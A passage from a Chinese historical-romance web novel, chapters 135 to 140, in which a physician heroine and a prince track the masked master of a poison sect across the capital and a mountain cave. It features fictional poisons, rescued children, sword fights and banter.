姜绾歌一把拎住弟弟的后领:谁准你偷吃我的点心了?转头瞪向顾云霁,王爷惯会教坏孩子。 顾云霁笑而不语,临走时顺手顺走了桌上最后一块杏仁酥。 姜小淘扒着门框大喊:王爷记得带八宝鸭来当拜师礼! 第135章 像你一样倔 待马蹄声远去,姜绾歌捏着弟弟的鼻子叹气:你呀...檐下风铃轻响,惊飞几只夜雀。 她望着晃动的树影,指尖银针若隐若现。 第二日清晨,姜绾歌如往常一样在宅子后的小花园晾晒草药。 突然,门口传来一阵喧闹声。她心中一紧,放下草药,快步走向门口。 顾云霁负手立于院中,玄色衣袍被夜风掀起一角。见姜绾歌出来,他微微颔首:都安排妥了。 姜绾歌扫了眼四周隐在暗处的侍卫,指尖银针若隐若现:王爷这是? 挑了几个得用的。顾云霁抬手示意,树影里立即传来几声衣袂翻动的轻响,往后就守在这儿。 姜绾歌轻笑:我这儿又不是什么龙潭虎穴... 顾云霁摆摆手:“无妨,你安心便是。对了,我已打探到消息,张太医与一个神秘组织来往密切,这个组织似乎在谋划针对京城的阴谋。” 姜绾歌眉头紧皱:“针对京城的阴谋?难道和《毒经》有关?” 不错。顾云霁眸光一沉,三日后永安侯府设宴... 王爷是想让我同去?姜绾歌将布帛攥紧,若真有人下毒... 顾云霁忽然逼近一步:你只管辨毒,其他的...他指尖轻点剑柄,自有本王处置。 夜风骤起,吹得满院药草沙沙作响。姜绾歌望着他离去的背影,银针在袖中若隐若现。 姜小淘光着脚丫从屋里蹦出来,一把拽住顾云霁的衣袖:王爷王爷!你们在说什么悄悄话呢?他歪着脑袋,眼睛亮晶晶的,是不是又要去打坏人啦? 姜绾歌蹲下身,指尖轻轻拂过他额前的碎发:小淘,去帮阿姐把晒在后院的当归收起来好不好? 阿姐骗人!小家伙撅起嘴,当归明明早上就收进药柜了!他忽然压低声音,神秘兮兮地说:我都听见啦,你们在说《毒经》对不对? 顾云霁剑眉微挑:你这小耳朵倒是灵光。 那当然!姜小淘得意地晃晃脑袋,突然正色道:王爷,我也可以帮忙的!我认识好多药材呢! 姜绾歌捏了捏他的脸蛋:上次是谁把砒霜当成滑石粉... 那次是意外嘛!姜小淘急得直跺脚,我现在分得可清楚了!王爷您说是不是? 顾云霁低笑一声,揉了揉他的发顶:是,我们小世子最厉害。不过...他忽然俯身,在姜小淘耳边轻声道:这次的任务是保护好你阿姐,能做到吗? 小家伙立刻挺直腰板:保证完成任务!说完又凑到顾云霁耳边:王爷,我阿姐最近总盯着您的玉佩看... 姜小淘!姜绾歌耳尖泛红,一把拎起弟弟的后领,去把《本草纲目》抄三遍! 啊?又抄书啊?姜小淘哀嚎着被拎进屋,还不忘回头冲顾云霁眨眼睛。 待屋内传来翻书声,姜绾歌才轻叹一声:这孩子... 像你。顾云霁忽然道,一样倔。 姜绾歌指尖的银针倏地一顿,在月光下闪过一道冷芒。 她微微偏头,唇角勾起一抹似笑非笑的弧度:王爷这话说的,倒像是在夸我? 她突然上前半步,绣鞋尖不偏不倚踩在顾云霁的皂靴上:不过——指尖银针在他腰间玉佩上轻轻一挑,比起王爷那时带着朋友硬闯我药铺威胁我的倔劲儿,我这点脾气算什么? 顾云霁呼吸微滞,垂眸看着近在咫尺的女子。她发间药香清冽,眼底却燃着灼人的火光。 我记得某人说过...姜绾歌忽然踮起脚尖,在他耳边轻声道,"若让太医院那些庸医碰,不如死了干净"?温热的呼吸拂过耳际,怎么,现在倒嫌我倔了? 说罢猛地后退,银针在空中划出一道凌厉的弧线。檐下风铃叮咚作响,她转身时裙摆翻飞,在月光下绽开一朵墨莲:王爷若是后悔了... 现在换大夫还来得及。话音未落,三根金针已钉入廊柱,排成一个挑衅的川字。 顾云霁低笑一声,修长的手指轻抚过廊柱上颤动的金针。月光下,他玄色衣袖翻飞,宛如展翅的夜鹰。 后悔?他忽然抬手,三根金针竟凌空飞回他掌心,本王倒觉得...指尖一弹,金针稳稳落回姜绾歌腰间的针囊,姜大夫这倔脾气,正合我意。 姜绾歌指尖一勾,三根金针又从针囊中飞出,在她指间流转如游龙:王爷倒是好身手,连我的金针都敢碰。 她眼尾微挑,就不怕我在针上淬了毒? 顾云霁非但不退,反而欺身上前,几乎与她呼吸相缠:姜大夫舍得? 他低沉的嗓音里带着几分戏谑,上次本王中毒,某人可是三天三夜没合眼。 姜绾歌眸光微闪,金针在指尖转出个危险的弧度:王爷记性倒好。她突然抬手,针尖抵在顾云霁颈侧跳动的血脉上,那想必也记得,当时我说过什么? 顾云霁喉结微动,却纹丝不动:说若我再受伤... 就让我毒死算了。姜绾歌指尖力道加重,针尖刺破皮肤渗出一点血珠,看来王爷是觉得我在说笑? 院中忽然静得可怕,连风都凝滞了。顾云霁忽然抬手握住她执针的手腕,拇指在她脉搏处轻轻摩挲:姜大夫可知...他声音又低了几分,那三日我虽昏迷,却听得见你说的每句话。 姜绾歌指尖一颤,金针差点脱手。月光下,她耳尖以肉眼可见的速度泛红。 你说...顾云霁忽然凑近她耳畔,温热的气息拂过她鬓角,"这傻子再敢受伤,我就用金针把他扎成刺猬"。 王爷!姜绾歌猛地后退,三根金针齐齐钉在顾云霁脚前青砖上,你...她难得语塞,袖中的手微微发抖。 顾云霁低笑着拔出金针,突然神色一凛:针上果然有毒。他指尖泛起不自然的青灰色。 姜绾歌冷哼一声:不过是让你舌头麻三日的"百味消"。她转身欲走,却被顾云霁拽住衣袖。 绾歌。他忽然正色,三日前你说要配的新药... 姜绾歌脚步一顿,没有回头:王爷既然偷听,何必再问。 夜风骤起,吹落一树海棠。 只剩顾云霁站在原地,摩挲着那三根金针,嘴角笑意渐深。 第136章 幽冥阁主 接下来的几天,两人一边等待消息,一边加强宅子防守。姜绾歌也没闲着,利用医术研制出一些防身的药物和暗器。 一日,顾云霁的手下匆匆赶来。 王爷,有消息了。 顾云霁正在院中擦拭长剑,闻言抬头。 暗卫单膝跪地,声音压得极低:城西废弃的铸铁工坊,近日有可疑人员频繁出入。 可查清是什么人? 表面是商队,但属下发现...暗卫从怀中取出一块染血的布片,他们运送的是药材。 姜绾歌正巧从药房出来,闻言快步上前。她接过布片在鼻尖轻嗅,眉头立刻皱起:血见愁、断肠草...这些都是炼制剧毒的原料。 顾云霁剑眉微蹙:看来我们得走一趟了。 现在就去。姜绾歌转身就要回屋准备。 等等。顾云霁拦住她,那里情况不明,你留在... 王爷。姜绾歌打断他,指尖银针在阳光下泛着冷光,没有我,你们连他们用的是什么毒都分不清。 两人对视片刻,顾云霁终于妥协:跟紧我。 半个时辰后,一队商贩打扮的人马沿着城西小道缓缓前行。 姜绾歌戴着斗笠,粗布衣裳掩不住纤细的身形。顾云霁走在她身侧,时不时伸手扶她避开泥坑。 前面拐角就是工坊。扮作货郎的暗卫低声道,东南西北四个方向都有人把守。 顾云霁微微颔首,突然按住姜绾歌的肩膀:看到那个穿灰衣的了吗?他每半刻钟会绕到后墙巡视。 姜绾歌眯起眼睛:守卫腰间挂着香囊...是在防迷烟? 聪明。顾云霁赞赏地看她一眼,所以我们需要... 声东击西。姜绾歌从袖中取出几个小纸包,这是我特制的"醉清风",遇水即散。让两个人假装打架,把水缸撞翻... 计划很快敲定。随着哗啦一声巨响,工坊前的两个商贩突然扭打起来,撞翻了运水车。混着药粉的水流瞬间漫过地面。 怎么回事?!守卫们急忙跑来。 就在他们靠近水洼的瞬间,无色无味的药粉已随着水汽蒸腾而起。不过几个呼吸,守卫们便接二连三软倒在地。 动作快。顾云霁一把拉起姜绾歌,药效只有半刻钟。 众人迅速潜入工坊。刚跨过门槛,一股混杂着霉味与药草气的怪味扑面而来。姜绾歌突然捂住口鼻:别呼吸!空气里有毒! 所有人立刻屏息。姜绾歌快速分发解药丸,小声道:是"七日眠",吸入者会逐渐昏睡,七日后毙命。 顾云霁眼神一凛:好狠的手段。 工坊内部比想象中庞大。穿过堆满杂物的前厅,后方竟隐藏着一条向下的阶梯。幽暗的火把插在墙上,投下摇曳的影子。 小心台阶。顾云霁走在最前,突然抬手示意停下。下方传来清晰的对话声: ...主上催得紧,解药到底何时能成? 急什么?《毒经》最后一页的配方已经破解,再给我三日... 三日?主上明日就要结果! 姜绾歌与顾云霁交换一个眼神。她无声地比了个二的手势,指指下面。顾云霁点头,打了个手势让暗卫分散埋伏。 阶梯尽头是一间巨大的地下室。中央摆放着数十个咕嘟冒泡的药炉,几个蒙面人正在忙碌。最里侧的书架上,一本泛黄的古籍被供在玉台上,周围点着诡异的绿色蜡烛。 那就是《毒经》...姜绾歌刚低声开口,突然脚下一滑。顾云霁眼疾手快揽住她的腰,但一块碎瓦还是滚下了台阶。 什么人?!底下顿时一片厉喝。 走!顾云霁一把将姜绾歌推向暗卫,带她先撤! 休想!姜绾歌甩出三枚银针,精准命中冲在最前的敌人。她反手又撒出一把粉末,空中顿时弥漫起紫色烟雾。 趁着混乱,顾云霁剑光如虹,瞬间劈开两个蒙面人的攻势。他厉声喝道:抢《毒经》! 暗卫们立刻冲向玉台。就在此时,一个阴冷的声音从暗处传来:本王的东西,也是你们能碰的? 石门轰然开启,走出个披着黑色大氅的男子。他脸上戴着青铜面具,手中把玩着一个小巧的玉瓶。 幽冥阁主...姜绾歌瞳孔骤缩。 姜姑娘好眼力。阁主轻笑,既然来了,不如尝尝新研制的"相思断"?他突然扬手,玉瓶朝姜绾歌面门飞来。 顾云霁纵身扑来,长剑精准劈开玉瓶。谁知瓶中竟是空无一物! 哈哈哈...阁主大笑,调虎离山! 众人回头,只见书架后的暗门正在关闭,《毒经》已然不见。 追!顾云霁正要冲过去,地面突然开始震动。天花板上簌簌落下尘土。 他要炸毁工坊!姜绾歌大喊,快出去! 众人慌忙撤退。就在他们冲出工坊的瞬间,身后传来震耳欲聋的爆炸声。冲天的火光中,无数碎屑如雨般砸落。 顾云霁将姜绾歌护在身下,后背被热浪灼得生疼。等爆炸平息,他立刻抬头:伤着没有? 姜绾歌摇头,突然瞪大眼睛:你的背... 不碍事。顾云霁咬牙站起身,可惜让《毒经》... 未必。姜绾歌从袖中掏出一页泛黄的纸,刚才经过玉台时,我撕下了最后一页。 顾云霁定睛一看,纸上赫然写着相思断三个字。 这是... 他们正在研制的毒药配方。姜绾歌小心收好纸页,有了这个,我们就能先他们一步研制解药。 远处传来官兵的呼喝声。顾云霁拉起姜绾歌:先离开这里。 回程的马背上,姜绾歌突然开口:那个幽冥阁主... 怎么? 他的声音...姜绾歌眉头紧锁,我好像在哪里听过。 顾云霁握缰绳的手一紧:等回去细说。 顾云霁的府邸内,烛火摇曳。姜绾歌正仔细研读那张从《毒经》上撕下的残页,眉头越皱越紧。 这"相思断"的配方...她指尖微微发抖,竟要用活人心头血做引。 顾云霁猛地拍案而起:丧心病狂!桌上的茶盏被震得叮当作响。 王爷且看这里。姜绾歌指向配方末尾的一行小字,"需在月圆之夜取血",今日正好是十五。 顾云霁脸色骤变:你的意思是... 他们今晚必定行动。姜绾歌将残页折好收入袖中,我们必须赶在他们之前找到那个被选中的"药引"。 第137章 毒经 顾云霁迅速展开城防地图:城南贫民巷、城西乱葬岗、城北废弃驿站——这三个地方最可能藏人。 姜绾歌突然按住地图一角:还有这里。她指尖点在一处不起眼的角落,慈幼局。 慈幼局?顾云霁眉头紧锁,那是收养孤儿的地方。 正是。姜绾歌声音发冷,三日前慈幼局报官说有孩子失踪,官府只当是寻常拐卖... 话未说完,院外突然传来急促的哨声。顾云霁的贴身侍卫冲进来:王爷!慈幼局起火了! 两人对视一眼,同时夺门而出。 夜色如墨,城南方向已腾起滚滚浓烟。顾云霁策马狂奔,姜绾歌紧贴在他身后,夜风将她的发带吹得猎猎作响。 不对劲。姜绾歌突然拽住顾云霁的衣袖,火势太大,像是有人故意... 话音未落,一支冷箭破空而来。顾云霁侧身避过,反手掷出腰间匕首,暗处传来一声惨叫。 调虎离山!顾云霁勒住马缰,你带人去慈幼局,我去... 来不及了。姜绾歌从怀中掏出一个瓷瓶,分头行动。她将瓷瓶塞进顾云霁手中,若遇危险,摔碎它。 顾云霁还想说什么,姜绾歌已翻身下马,几个起落消失在巷弄间。 慈幼局外火光冲天,哭喊声不绝于耳。姜绾歌刚靠近大门,就闻到一股奇异的甜香——是迷魂散!她立刻屏息,银针已夹在指间。 穿过浓烟,她发现后院井台边站着三个黑衣人,正将一个捆住手脚的小女孩往井里放。 住手!姜绾歌三枚银针齐发,黑衣人应声倒地。她冲过去抱起女孩,却发现孩子眼神涣散,嘴角渗出黑血。 姜姑娘果然医术高明。阴冷的声音从背后传来,可惜来晚了一步。 姜绾歌转身,看到青铜面具在火光中泛着幽光。幽冥阁主缓步走近,手中把玩着一把精致的匕首。 这孩子已经服下"相思引",只差最后一步就能完成药引。他声音里带着戏谑,不过既然姜姑娘来了,不如我们做个交易? 姜绾歌护住怀中女孩:什么交易? 用《毒经》最后一页,换这孩子的命。阁主突然抬手,四名黑衣人从暗处走出,每人手中都押着一个昏迷的孩子,还有这四个。 姜绾歌指尖银针微颤:我如何信你? 你可以不信。阁主轻笑,但每过一刻钟,我就会往井里扔一个孩子。 就在此时,一道剑光劈开浓烟。顾云霁如鬼魅般出现,剑锋直指阁主咽喉:放人! 阁主不慌不忙地后退:王爷来得真快。他突然吹响一声口哨,四周屋顶顿时出现数十名弓箭手,不过现在,似乎是我说了算。 顾云霁环视四周,沉声道:你想要什么? 很简单。阁主从怀中取出一张纸,我要姜姑娘亲手写下《毒经》最后一页的内容。 姜绾歌与顾云霁交换了一个眼神。她缓缓点头:可以,但你要先放两个孩子。 阁主考虑片刻,打了个手势。两名黑衣人松开手中的孩子。姜绾歌立即上前检查,确认孩子只是昏迷。 现在,写吧。阁主扔来纸笔。 姜绾歌接过纸笔,故意放慢书写速度。顾云霁则暗中观察着四周的弓箭手,寻找突破口。 突然,远处传来一阵骚动。阁主转头望去,顾云霁抓住机会,一剑挑飞他手中的匕首。姜绾歌同时出手,银针如雨般射向屋顶的弓箭手。 走!顾云霁一把拉过姜绾歌,护着她向门口退去。 阁主却不急着追赶,反而大笑起来:跑吧!你们以为这就结束了?他举起一个奇怪的哨子,游戏才刚刚开始! 刺耳的哨声响起,那些被救下的孩子突然睁开眼睛,瞳孔泛着诡异的绿色,齐齐向姜绾歌扑来! 他们被控制了!姜绾歌急忙取出银针,按住他们! 混乱中,阁主的声音远远传来:我在城北驿站等你们,带着真正的《毒经》来换解药! 当最后一个孩子被制服,阁主早已不见踪影。姜绾歌检查着孩子们的情况,脸色越来越难看:是"傀儡散",十二个时辰内没有解药,他们会永远失去神智。 顾云霁擦去剑上的血迹:他故意引我们去城北。 但我们不得不去。姜绾歌看着怀中昏迷的孩子,我会准备一些压制毒性的药,但撑不了多久。 回到府中,姜绾歌立即着手配药。顾云霁则召集暗卫,部署行动计划。 阁主不会轻易交出解药。姜绾歌将配好的药丸交给顾云霁,我怀疑他另有目的。 顾云霁点头:我已经派人去查他的底细。他犹豫片刻,这次太危险,你... 我必须去。姜绾歌打断他,只有我能分辨真假解药。 黎明前的黑暗中,两人带着精锐暗卫向城北驿站进发。驿站静得可怕,只有二楼的一扇窗透着微光。 小心埋伏。顾云霁低声道。 姜绾歌却突然皱眉:不对,太安静了...她猛地拉住顾云霁,有血腥味! 众人破门而入,眼前的场景令人毛骨悚然——五名黑衣人横尸当场,每人胸口都插着一枚青铜令牌,正是幽冥阁的标志。 桌上放着一封信,上面写着:姜姑娘亲启。 姜绾歌展开信纸,只见上面寥寥数语:你以为的敌人,或许就在身边。《毒经》的秘密,远比你想象的可怕。 顾云霁接过信纸,脸色阴沉:他在挑拨离间。 突然,驿站外传来马蹄声。一个暗卫冲进来:王爷!城中又发现三处起火点,都是药铺! 姜绾歌脸色煞白:他在销毁可能配制解药的地方... 顾云霁一拳砸在桌上:立刻回城! 策马回城的路上,姜绾歌心中思绪万千。阁主的话像毒蛇般缠绕在她心头:你以为的敌人,或许就在身边... 马蹄声渐缓,姜绾歌勒住缰绳,望着远处冲天的火光。夜风裹挟着焦糊味扑面而来,她下意识攥紧了手中的药囊。 王爷。她声音发紧,城南的仁心堂、城北的百草阁...全着火了。 第138章 救孩子 顾云霁玄色衣袖被火星燎出几个小洞,闻言剑眉一拧:专挑大药铺下手,好算计。 两人翻身下马时,仁心堂的老掌柜正瘫坐在街心,花白胡须上沾满黑灰。全完了...... 老人颤抖的手指向火场,三百年老店啊...... 姜绾歌蹲下身,银针在老人颈后轻点:您先顺口气。转头对赶来的暗卫道,扶老人家去避一避。 姜姑娘!小学徒满脸烟灰地挤过来,怀里死死抱着个铁匣,江大夫的《千金方》我抢出来了! 顾云霁接过铁匣,指尖在烧得滚烫的锁扣上一挑:做得好。匣中露出半本焦黄的册子,他递给姜绾歌,可有用? 姜绾歌快速翻阅,突然停在一页:有转机!她指着一段小字,"傀儡散惧龙脑香",我们可以...... 王爷!暗卫首领匆匆跑来,城西的济世斋也起火了,但伙计说看见黑衣人往水里投了东西才着的火! 顾云霁与姜绾歌对视一眼,同时道:水源! 众人赶到最近的水井时,正撞见两个黑衣人往井中倾倒药粉。 顾云霁长剑出鞘,寒光闪过,其中一个黑衣人袖中的药包还未开封就掉进了井里。 留活口!姜绾歌三枚银针出手,另一个黑衣人顿时瘫软在地。 被擒的黑衣人突然怪笑起来:晚了...全城十二口水井......话音未落,他嘴角渗出黑血,气绝身亡。 顾云霁蹲下检查:齿间藏毒。他扯开黑衣人衣领,露出锁骨处的青色纹身,是死士。 姜绾歌探身查看井水,水面泛着诡异的淡绿色:是"蚀骨散",遇水即溶。她猛地直起身,快通知百姓别饮井水! 暗卫们四散奔走。姜绾歌突然拉住顾云霁的衣袖:王爷府中有储水吗? 有地窖存着山泉水。顾云霁反手握住她冰凉的手指,够用三日。 回到王府时天已微亮。姜绾歌一进药房就扑向药柜,手指在各类药罐间快速点过:白芷、防风、甘草...还差龙脑香。 顾云霁从怀中取出个锦囊:上月南诏进贡的,可够? 姜绾歌接过一闻,眼睛亮起来:足够配三十份解药!她突然皱眉,但缺个药引... 可是需要活水?顾云霁指向后院,我院中有眼活泉。 药碾滚动声中,姜绾歌忽然开口:王爷为何随身带着龙脑香? 顾云霁研磨药材的手顿了顿:...你上次提过解小淘的毒需要龙脑香。 姜绾歌愣了一下,低头专心捣药。 他把她的话倒是放在心上,这个男人...... 窗外晨光渐亮,照得她侧脸如玉。 顾云霁多看了两眼,手中药杵当地砸偏了位置。 王爷累了?姜绾歌头也不抬,去歇着吧。 无妨。顾云霁重新举起药杵,却见姜绾歌突然按住他的手腕。 别动。她指尖银光一闪,从他袖口挑出根细如发丝的黑线,毒蚕丝,沾肤即溃。随手扔进药炉,火苗嗤地蹿高三分。 顾云霁眸光一沉:看来府里也不干净。 姜绾歌正要答话,门外突然传来急促的脚步声。姜小淘抱着个陶罐冲进来:阿姐!我在厨房找到这个! 罐中清水里泡着几片奇怪的叶子。姜绾歌沾了点水尝了尝,突然站起:是清心藤!哪里来的? 厨娘说是她乡下亲戚送的...姜小淘话未说完,姜绾歌已冲出房门。 厨房里,老厨娘正在揉面。见姜绾歌进来,她擦擦手:姑娘要的蒸糕还得等... 这叶子哪来的?姜绾歌举起清心藤。 哦,我侄儿在苍云山采的。厨娘憨厚地笑着,说是能解毒... 顾云霁跟进来,闻言神色一凛:苍云山?那不是... 幽冥阁的老巢。姜绾歌捏碎叶片,看来我们得走一趟了。 厨娘突然扑通跪下:姑娘饶命!我侄儿他... 起来吧。姜绾歌扶起老人,你侄儿可能无意中帮了大忙。 回到药房,姜绾歌将清心藤汁液滴入配好的药丸。药丸顿时由褐转青,散发出清凉气息。 成了!她长舒一口气,先给症状重的孩子服下。 顾云霁拿起一粒药丸对着光看:能根除吗? 暂时压制。姜绾歌将药丸分装,要彻底解毒,还得去苍云山找新鲜的清心藤。 窗外日头渐高,顾云霁忽然道:你留下照顾孩子,我去苍云山。 不行。姜绾歌系好最后一个药囊,清心藤离土即枯,必须现场炼制。她抬头直视顾云霁,何况... 何况什么? 姜绾歌唇角微扬:王爷分得清清心藤和断肠草吗? 顾云霁被她难得一见的笑意晃了眼,待回过神时,姜绾歌已经拎着药囊走出房门。 晨雾未散,两人已策马出城。姜绾歌裹紧了青色斗篷,山间的寒气沁入骨髓。顾云霁放慢马速,与她并辔而行。 前面就是苍云山界碑。顾云霁指着雾气中若隐若现的石碑,据说入山者常遇鬼打墙。 姜绾歌从药囊取出两粒药丸:含在舌下,可防瘴气。 山路渐陡,两人不得不下马步行。枯枝在脚下发出脆响,惊起几只寒鸦。忽然,姜绾歌拉住顾云霁的衣袖:有血腥味。 三具尸体横陈在灌木丛中,穿着与昨夜袭击王府的黑衣人相同。顾云霁用剑挑开衣领:没有纹身,不是死士。 是被灭口的。姜绾歌检查伤口,剑伤,一招毙命。 顾云霁神色凝重:看来幽冥阁内部... 小心!姜绾歌突然推开他。一支淬毒的弩箭钉在树干上,箭尾还在颤动。 密林中传来窸窣声。顾云霁长剑出鞘,寒光闪过,三个黑衣人从树梢栽落。姜绾歌银针出手,又一人从岩石后滚出。 留活口!顾云霁剑锋抵住最后一名黑衣人的咽喉。 黑衣人突然狞笑:阁主会为我们报仇的!嘴角溢出黑血,气绝身亡。 姜绾歌蹲下身:不是咬毒,是提前服下的延时毒药。她翻开黑衣人手掌,指缝有药粉,是配毒师。 顾云霁望向山顶:看来找对地方了。 突然,姜绾歌在一个角落里发现了一些奇怪的符号和文字。 第139章 兵不厌诈 “这是什么?”顾云霁凑过来问道。 姜绾歌仔细辨认:“这似乎是一种古老的文字,记载着关于《毒经》的一些信息。” 她的脸色变得凝重起来,“上面说,《毒经》并非简单的毒药典籍,而是蕴含着一种能控制人心的神秘力量。” “控制人心?”顾云霁吃了一惊,“难怪阁主如此执着于《毒经》。” 半山腰处,一道瀑布如白练垂落。姜绾歌拨开藤蔓,露出后面黑黝黝的洞口。 清心藤喜阴,应该就在洞里。 洞内幽暗潮湿,石壁上凝结着水珠。顾云霁点燃火折子,火光映出洞顶垂挂的藤蔓——正是清心藤! 姜绾歌刚要采摘,突然脚下一空。顾云霁眼疾手快揽住她的腰,原来地上竟是个隐蔽的陷阱。 等等。姜绾歌取出银针试探地面,整个山洞都是机关。 她小心避过机关,采下几株清心藤。 就在这时,外面突然传来一阵嘈杂声。 两人对视一眼,迅速躲了起来。只见一群黑衣人押着几个朝廷官员模样的人走进山洞。 “你们是什么人?竟敢绑架朝廷命官!”其中一个官员愤怒地喊道。 “哼,到了这里,就由不得你们了。”为首的黑衣人冷笑一声。 姜绾歌和顾云霁躲在暗处,静静地观察着。他们发现,这些黑衣人似乎在等待着什么。不多时,阁主终于现身。 “大人,你们总算是来了。”阁主对着官员们微微躬身,但语气中却带着一丝嘲讽。 “你到底想干什么?”一名官员质问道。 “我想干什么?”阁主突然大笑起来,“我要让整个京城陷入混乱,让你们这些高高在上的人都尝尝痛苦的滋味。” 原来,阁主本是一个普通人家的孩子,小时候亲眼目睹家人被朝廷官员迫害致死。 从此,他便立下誓言,要向朝廷复仇。 多年来,他暗中组建幽冥阁,四处搜罗奇毒和邪术,企图用《毒经》的力量实现他的复仇计划。 “你们以为朝廷会放过你们吗?”官员们还在嘴硬。 “朝廷?”阁主不屑地哼了一声,“朝廷里早就被我安插了眼线。今天,就是你们的死期。” 说罢,他一挥手,黑衣人便准备动手。 姜绾歌的银针在指间泛起幽幽寒光,她朝身侧的顾云霁使了个眼色。 却见那人懒洋洋地倚在石壁上,不仅不急着行动,反而冲她挑眉一笑,慢悠悠地做了个请的手势。 王爷这是要让我打头阵?姜绾歌压低声音,银针在指尖转了个危险的弧度。 顾云霁薄唇微勾:姜大夫的银针可比本王的剑快多了。他故意顿了顿,况且...本王还想多看会儿戏。 姜绾歌瞪了他一眼,正要反驳,忽听洞内传来阁主阴冷的声音:既然来了,何必躲躲藏藏? 她深吸一口气,从暗处款款走出:阁主这般大费周章...目光扫过被绑的官员们,就为了演这出戏? 青铜面具在火光下泛着诡异的光芒,阁主猛地转身:姜姑娘独自前来,倒是胆大。 谁说她是独自来的?一道慵懒的嗓音突然从阁主身后响起,冰凉的剑锋已经抵在他后心,本王不过是想看看...顾云霁的声音带着几分戏谑,你这老鼠洞里还能玩出什么花样。 阁主身体骤然僵住,面具下的呼吸明显急促了几分:王爷好身手。 不及阁主好算计。顾云霁轻笑一声,剑尖在阁主背上轻轻画着圈,用这几个冒牌货引我们现身...他瞥了眼那些官员,这主意...拙劣得很。 其中一个被绑的官员突然暴起,袖中暗箭直射顾云霁面门! 王爷小心!姜绾歌银针脱手而出。 顾云霁却连眼皮都没抬,左手随意一抓,竟将那支毒箭稳稳接住:就这?他失望地摇头,阁主调教手下的本事,可比本王想象中差远了。 阁主冷笑:王爷何必逞口舌之快?他突然抬手,洞顶垂下数十条绳索,不如看看这个? 每根绳索末端都绑着一个孩童,其中最小的不过五六岁年纪。姜绾歌瞳孔骤缩——她认出好几个都是慈幼局失踪的孩子! 阁主这是要做什么?她强压怒火,指尖银针蓄势待发。 做个交易。阁主声音愉悦,用《毒经》换这些孩子的命。 顾云霁突然笑出声:有意思。他剑锋往前送了送,不过阁主是不是忘了...你现在好像没资格谈条件? 是吗?阁主不慌不忙地举起右手,拇指和食指间捏着个小小的瓷瓶,王爷可认得这个? 姜绾歌倒吸一口冷气:醉清风! 姜大夫好眼力。阁主轻笑,只要我松手,这瓶药足够让所有孩子永远睡去。 洞内一时寂静,只听得火把燃烧的噼啪声。顾云霁眯起眼睛,忽然收了剑:阁主想要什么? 痛快!阁主转身,面具后的眼睛闪着诡异的光,我要《毒经》下半卷,还有...他指向姜绾歌,姜大夫的银针绝技。 姜绾歌冷笑:痴心妄想! 顾云霁却按住她的手腕:别急。他看向阁主,唇角勾起一抹意味深长的笑,不如这样...我们赌一局? 哦?阁主来了兴致,王爷想怎么赌? 很简单。顾云霁随手捡起地上一块碎石,我数到三,你我同时出手。他指尖轻弹,碎石准确击中远处一个火把,火焰应声而灭,若我赢了,你放人。若你赢了... 《毒经》和银针绝技双手奉上。姜绾歌突然接话,眼神坚定。 阁主大笑:好!就依王爷! 顾云霁慢条斯理地数着:一... 姜绾歌指尖银针已蓄势待发。 二... 阁主手中的瓷瓶微微倾斜。 ... 顾云霁突然剑光一闪,却不是攻向阁主,而是斩断了最近的几根绳索!与此同时,姜绾歌的银针如暴雨般射向阁主手腕。 你使诈!阁主仓皇躲避,瓷瓶脱手而出。 顾云霁飞身接住瓷瓶,还不忘回头冲阁主一笑:兵不厌诈,这可是阁主教我的。 第140章 洞中交手 阁主暴怒,青铜面具后传出狞笑:好,很好!既然你们找死,那就别怪我不客气了! 他一声厉啸,洞穴四壁突然射出无数毒箭。顾云霁一把将姜绾歌拉入怀中,长剑舞成银幕,将毒箭尽数击落。 小心毒气!姜绾歌捂住口鼻,从袖中掏出两颗药丸塞进顾云霁嘴里,含着别咽! 洞内顿时弥漫起诡异的紫色雾气。那些被救下的孩子们开始剧烈咳嗽,小脸憋得通红。 姜绾歌心急如焚,银针在指尖飞舞:是"销魂散"!专克肺腑!她迅速在自己几处大穴扎针,王爷护我片刻! 顾云霁长剑挥舞,剑气所到之处紫雾散开三分。他头也不回地问:需要多久? 半盏茶!姜绾歌盘腿坐下,左手手腕转动。 眼前泛起淡蓝色光幕,系统空间的架子上摆满瓶瓶罐罐。 她飞快翻找,推开金疮药、避毒丹,终于抓住标着解毒丸的小瓷瓶。 丹药吞下的瞬间,灼热感消退,静坐一分钟,黑紫色的毒雾顺着毛孔缓缓排出。 阁主见状冷笑:想解毒?做梦!他袖中飞出三枚钢针,直奔姜绾歌后心。 找死!顾云霁怒吼一声,反手一剑将钢针震飞。剑气携着风雷之势直逼阁主面门。 青铜面具应声而碎,露出一张布满疤痕的脸。阁主擦去嘴角血迹,眼中杀意更盛:王爷好剑法!不过... 他突然从怀中掏出一个诡异的铜铃,轻轻摇动。 铃铃铃... 清脆的铃声在洞中回荡,那些昏迷的假官员竟然齐齐睁开眼睛,瞳孔泛着绿光,如行尸走肉般向顾云霁扑来。 傀儡术!姜绾歌睁开眼睛,额头已渗出细密汗珠,王爷别伤他们性命,他们是被控制的! 顾云霁苦笑一声:这可真是...剑锋一转,改刺为拍,用剑脊将扑来的傀儡一个个打晕,麻烦得很。 阁主趁机欺身而上,诡异的爪功直取顾云霁咽喉。顾云霁侧身避过,反手一掌拍在阁主肩头。 噗!阁主喷出一口黑血,却狞笑道:王爷,你中计了! 顾云霁低头一看,掌心竟渗出诡异的黑色血丝。原来阁主的衣衫上暗藏机关,沾血即毒! 王爷!姜绾歌脸色大变,银针破空而出,在顾云霁手腕处连扎三针,快运气逼毒! 哈哈哈!阁主得意大笑,这是我精心调制的"蚀骨毒",专门对付内功高手! 顾云霁脸色微白,但仍挺剑而立:就这点雕虫小技... 话未说完,他忽然闷哼一声,手中长剑差点脱手。蚀骨毒发作了! 还嘴硬!阁主抢步上前,五指如钩直抓顾云霁面门。 千钧一发之际,一道银光闪过。姜绾歌不知何时已站在两人之间,手中握着一枚三寸长的金针,正抵在阁主心口! 别动。她声音冷得像冰,再动一下,这针就穿透你的心脏。 阁主僵在原地,不敢妄动。 姜绾歌另一只手快速在顾云霁身上扎了几处穴位:蚀骨毒我能解,但需要时间。她瞪了顾云霁一眼,谁让你逞强的! 顾云霁还嘴硬:这不是还有你吗...... 现在说这些有什么用!姜绾歌气得想打人,银针在阁主胸前又送进半分,你!把解药交出来! 解药?阁主虽然被制住,但依然狂笑,姜大夫莫不是忘了,我们幽冥阁的毒从来都是... 有毒无解?姜绾歌冷笑,那可未必。 她忽然从怀中掏出一个小瓷瓶,倒出一粒血红色的药丸:认得这个吗? 阁主脸色骤变:血莲丹!你怎么会有! 